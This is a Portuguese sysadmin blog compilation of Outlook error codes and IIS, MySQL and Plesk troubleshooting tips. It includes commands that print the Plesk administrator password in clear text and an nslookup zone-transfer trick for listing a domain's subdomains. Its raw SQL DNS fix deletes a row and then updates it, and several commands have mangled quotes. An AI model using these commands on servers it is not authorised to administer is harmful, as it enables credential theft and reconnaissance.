A MENSAGEM NÃO PODE SER ENVIADA PORQUE UM DOS DESTINATÁRIOS FOI REJEITADO PELO SERVIDOR.
Solução: Autenticar no POP3 provedor, verificar se o SMTP configurado é do provedor, verificar se não tem mais de 200 destinatários.
Se tudo estiver OK, fazer um teste no webmail ou no OE e verificar se envia para o destinatário recusado.

ERRO: POP3 N.º DO ERRO 0X800C0131 ERRO DESCONHECIDO ( NÃO É POSSÍVEL RECEBER E-MAILS )
Erro:
Espaço insuficiente no disco rígido ou a pasta itens enviados esta danificada.
Solução: Excluir o arquivo “Caixa de entrada.dbx”

ERRO: SMTP N.º DO ERRO 0X800C0131 ERRO DESCONHECIDO ( NÃO É POSSÍVEL ENVIAR E-MAILS )
Erro:
Espaço insuficiente no disco rígido ou a pasta itens enviados esta danificada.
Solução: Excluir o arquivo “Itens Enviados.dbx”

ERRO: SMTP N.º DO ERRO 0X800CCC67 ERRO DESCONHECIDO ( NÃO É POSSÍVEL ENVIAR E-MAILS )
Erro:
Seu computador ou sua rede está conectado à Internet usando um roteador Linksys BEFSR41, BEFSR81 ou BEFW11S4.
O e-mail que você está tentando enviar contém um anexo ou foi escrito usando o Microsoft Word.
Solução: Excluir o email de saída e criar outro.

N.º DO ERRO 0X800CCC90 OU 0X800CCC91
Erro:
Erro ao fazer logon com o servidor de email. “A senha foi recusada”.

0X800CCC90 OU 0X800CCC18
Erro:
Não foi possível conectar-se ao servidor usando a autenticação de senha de segurança.
Solução: Desmarcar efetuar logon usando autenticação de senha de segurança.

ERRO DE SOQUETE: 10053 N.º DO ERRO: 0X800CCC0F
Erro:
Possível instabilidade na caixa postal ou no servidor.

N.º DO ERRO: 0X8004210B (MICROSOFT OUTLOOK)
Erro:
Ao enviar e receber” detectou um erro (0x8004210B) : “A operação excedeu o tempo de espera de uma resposta do servidor de envio de correio (SMTP)
Solução: Configuração do servidor pop3 ou smtp esta incorreta, a porta do servidor esta bloqueada, esta ligado a um servidor, ou esta sem comunicação com a internet.


N.º DO ERRO: 0X80040116 (MICROSOFT OUTLOOK)
Erro:
Erro desconhecido ( Não é Possível Receber E-mails )
Solução: Localizar o arquivo Outlook.pst e renomear para OLD.pst

N.º DO ERRO 0X80042108 (MICROSOFT OUTLOOK)
Erro:                            O Outlook não consegue conectar-se ao seu servidor de e-mail POP3 de mensagens recebidas.
Possíveis causas: Sem comunicação com a internet.
Existem arquivos corrompidos em seu disco rígido. Você está executando o Norton Personal Firewall 2002.
Você está executando software Norton Internet Security.
Você instalou uma atualização do Microsoft Office XP.

CLIENT HOST REJECTED: TEMPORARY UNAVAILABLE
Erro: O endereço eletrônico recusado foi “user@provedor.com.br”. Assunto “Re: Assunto”, Conta: “Nome”, Servidor: smtp.provedor.com.br”, Protocolo: SMTP, Resposta do servidor: “554 <IPSERVIDOR>:
Client host rejected: Temporary Unavailable”, Porta: 25, Segura (SSL): Não, Erro do servidor: 554, Nº do erro: 0x800CCC79
Causa: A mensagem não pôde ser enviada porque um de seus destinatários foi recusado pelo servidor.

FONTE: http://www.agenciadix.com.br/ajuda/site/index.php?faq=218&sid=codigos-de-erros-comuns-do-outlook-expresse-e-microsoft-outlook.html

Como listar todos os subdomínios de um determinado domínio

Monday, December 14th, 2009

No windows clique em Iniciar->executar-> CMD
Assim que o ms-dos abrir informe isto:

Nslookup
server IP_aonde_o_site_está
set type=any
ls -d domínio.com.br

:D

Como saber a senha do administrador do Plesk em um windows server 2003 ou 2008 (webedition, enterprise, standard, datacenter)

Saturday, December 12th, 2009

Para saber a senha do administrador do Plesk em um windows server 2003 ou 2008 (webedition, enterprise, standard, datacenter) basta rodar o seguinte comando:

C:\”"PASTA DE PROGRAMAS”"\SWsoft\Plesk\admin\bin\plesksrvclient.exe” -get (no 2003)
“C:\”"PASTA DE PROGRAMAS”\Parallels\Plesk\admin\bin\plesksrvclient.exe” -get (no 2008).
Abraços.

Como aumentar o UPLOAD de arquivos no IIS

Thursday, November 19th, 2009

Esta dica foi 100% retirada do site:

http://websecurity.wordpress.com/2007/01/27/aumentando-o-limite-de-upload-do-iis/

Somente fiz 1 coisa simples, vou destacar a forma de parar o iis para poder alterar o arquivo XML.
Para parar o iis abra o arquivo C:\windows\system32\inetsvr OU abra as tarefas administrativas e escolha o Gestor do IIS, dentro dele ordene que o IIS para (somente os serviços de internet do iis).

Fazendo isto siga os passos:

Por padrão, o IIS permite upload de apenas 200kb via http por arquivo através das suas páginas. Para aumentar este limite, pare o IIS e edite o arquivo C:\windows\system32\inetsvr and edit metabase.xml.

O valor padrão setado para AspMaxRequestEntityAllowed é de 204800 (200kb). Para permitir upload de arquivos maiores, aumente este valor. Para aumentar para 2 megas, coloque 2048000.

Obs: Caso tente parar via Gestor do Plesk você não conseguirá arrumar este problema pois algumas instâncias ainda estarão executando a base de dados em XML.
Abraços.

error 134 from storage engine

Tuesday, November 17th, 2009

Para corrigir isto restaure seu banco de dados.

Caso seja myisam a Engine, use o comando (após parar o mysql):

myisamchk -r -o -f /var/lib/mysql/MEU_BANCO/*.MYI

Isto deverá sanar.

Abraços.

Como criar páginas de erros customizáveis para o parallels plesk

Tuesday, September 15th, 2009

Segue abaixo link da parallels que ensina a fazer páginas de erros customizadas:

http://kb.parallels.com/en/5279

plesk The requested resource is in use resolvendo mensagem de erro no plesk The requested resource

Friday, September 4th, 2009

No plesk Windows, caso você esteja recebendo a mensagem:

The requested resource is in use.

Nada de pânico, entre no remote desktop e rode:

regsvr32 %windir%/system32/vbscript.dll

Pronto!

Fonte: http://littleoak.wordpress.com/2009/07/31/plesk-the-requested-resource-is-in-use-resolvendo-mensagem-de-erro-no-plesk-the-requested-resource/

Starting MySQL.Manager of pid-file quit without updating fi[FAILED]

Friday, September 4th, 2009

Se você não consegue fazer nada no mysql e o bandido ainda assim só lhe diz:

Starting MySQL.Manager of pid-file quit without updating fi[FAILED]

Nada de pânico, para resolver isto use os comandos abaixo:

cd /var/lib/mysql/mysql
myisamchk -r *.MYI

Após, service mysql start.

Fonte: http://littleoak.wordpress.com/2009/08/27/starting-mysql-manager-of-pid-file-quit-without-updating-fifailed/

Parallels Plesk Windows: Domínio não funciona o DNS, já tentei restore dns zone, já tentei renomear -> SOLUÇÃO AQUI!

Friday, September 4th, 2009

Essa dica é bem quentinha e gostosa!

Sintomas:

Registro.br não mostra autoridade sobre o domínio ou dá falha de dns,
Já tentei restaurar a zona de dns do zero, já inseri manualmente a zona de dns do domínio, já renomeei o domínio do cliente e retornei ao original e até mesmo mudei o ip do domínio do cliente e voltei o que era antes e NADA!

Galera, nada de pânico! Mr little está lhe passando mastigadinho e gostoso, para sair dessa tranqueira entre no remote desktop de seu servidor Windows, cujo server opera o plesk 9.x (essa dica rola para o 8.x, mas aplico no 9.x):

Abra o MS-DOS, e dentro dele digite:

cd C:\Program Files\Parallels\Plesk\admin\bin

Nesta hora você estará nos binários de administração do plesk, mas antes copie o banco de dados PSA do plesk para uma área segura, ele está em:

C:\Program Files\Parallels\Plesk\admin\db\psa.mdb (psa.mdb é o nome do bandido!)

Rode o seguinte comando na pasta bin que chegamos via DOS:

dbclient.exe –direct-sql –sql=”select * from dns_zone where name like ‘domíniolascado.com.br’

Isso vai lhe retornar (no primeiro valor numérico) o ID do domínio, anote-o em um lugar ULTRA seguro!

Agora rode o comando abaixo:

dbclient.exe –direct-sql –sql=”delete from dns_zone where id=777″ (777 NÃO é o número obrigatório MEU, este número é o ID que falei acima, pode ser qualquer número inteiro positivo).

Após, vamos ajustar as coisas:

dbclient.exe –direct-sql –sql=”update dns_zone set status=0 where id=777″ (777 NÃO é o número obrigatório MEU, este número é o ID que falei acima, pode ser qualquer número inteiro positivo).

E por fim:

dnsmng.exe update *

Caso dê certo, please, EU QUERO UMA CAIXA DE BIS do preto!

Abraços!

Fonte: http://littleoak.wordpress.com/2009/09/01/parallels-plesk-windows-dominio-nao-funciona-o-dns-ja-tentei-restore-dns-zone-ja-tentei-renomear-solucao-aqui/

Unable to remove file /httpdocs/minha_pasta: Sharing violation erro ao tentar remover diretório

Friday, September 4th, 2009

Error: Unable to remove file /httpdocs/minha_pasta: Sharing violation

Se isto ocorre com você é porque o IIS está com algum processo acessando arquivos ou pastas neste diretório, para isto não ocorrer em uma nova tentativa de remoção você pode fazer 2 coisas abaixo:

Pelo gerenciador de processos finalizar o processo que está acessando este diretório,
Pelo Administrador do IIS você pode reiniciar o iis e o problema será sanado.

Fone: http://littleoak.wordpress.com/2009/09/01/unable-to-remove-file-httpdocsminha_pasta-sharing-violation-erro-ao-tentar-remover-diretorio/

Comandos úteis para o Plesk windows

Tuesday, June 30th, 2009

Plesk Binaries

Located in the %plesk_bin% directory

1) websrvmng.exe

To install hosting for a domain

websrvmng.exe --install-vhost --vhost-name=<domain name>

To remove hosting for a domain

websrvmng.exe --remove-vhost --vhost-name=<domain name>

To reconfigure hosting for a domain

websrvmng.exe --reconfigure-vhost --vhost-name=<domain name>

To reconfigure a subdomain

websrvmng.exe  --update-subdomain --vhost-name=<domain name> --subdomain=<subdomain>

Passwords for system user and IIS user can be unsynchronized or synchronised using

websrvmng.exe  --update-anon-password --domain-name=<domain name>

To reconfigure webmail

websrvmng.exe  --reconfigure-webmail
defpackagemng.exe" --fix --type=webmail

2) mchk.exe

To Reset server-wide and domain’s mail settings forcefully

mchk.exe --all --fix-all

To Check and restore mail settings for a domain defined

mchk.exe --domain --domain-name=sampledomain.com

To Check and restore only server-wide mail settings

mchk.exe --global-settings

3) protdir.exe

protdir.exe --create Protected_Dir -domain domain1.com -add_user MyGuest -passwd "MyPass"

To set a password for the user of a web-protected directory:

protdir.exe --update Protected_Sample -domain somewhere.com -update_user johndoe -passwd Password1

To remove protected directory user:

protdir.exe --update Protected_Dir -remove_user johndoe

4) Subdomain.exe

subdomain.exe --create subdomain2 -domain domain1.com -hard_quota 50 -ssi true

To remove subdomain1.somewhere.com from somewhere.com domain:

subdomain.exe --remove subdomain1 -domain somewhere.com

To change the existing subdomain name subdomain1.somewhere.com to the new one – subdomain1_new.somewhere.com

subdomain.exe --update subdomain1 -domain somewhere.com -new_name subdomain1_new

To enable FrontPage support for subdomain1.somewhere.com:

subdomain.exe --update subdomain1 -domain somewhere.com -fp true

To retrieve information on subdomain1.somewhere.com:

subdomain.exe --info subdomain1 -domain somewhere.com

5) domain.exe

domain.exe --create domain1.com -clogin John_Doe -dom_user false -www true -hosting true -ip 143.230.22.14 -cgi true -notify false

To retrieve sampledomain.com domain information:

domain.exe --info sampledomain.com

To rename sampledomain.com domain to sampledomain1.com domain:

domain.exe --update sampledomain.com -new_name sampledomain1.com

To enable domain user account with password “somepass” for sampledomain.com domain:

domain.exe --update sampledomain.com -dom_user true -du_passwd somepass

To set name for domain user of a sampledomain.com domain to “John”:

domain.exe --update sampledomain.com -du_pname "John"

To enable hosting for sampledomain.com domain:

domain.exe --update sampledomain.com -hosting true

6) plesksrvmng.exe

To reset the password for admin control panel

plesksrvmng.exe

To get the existing password for the admin control panel

plesksrvmng.exe -get

7) statistics.exe

Updates the statistics for all domains on the server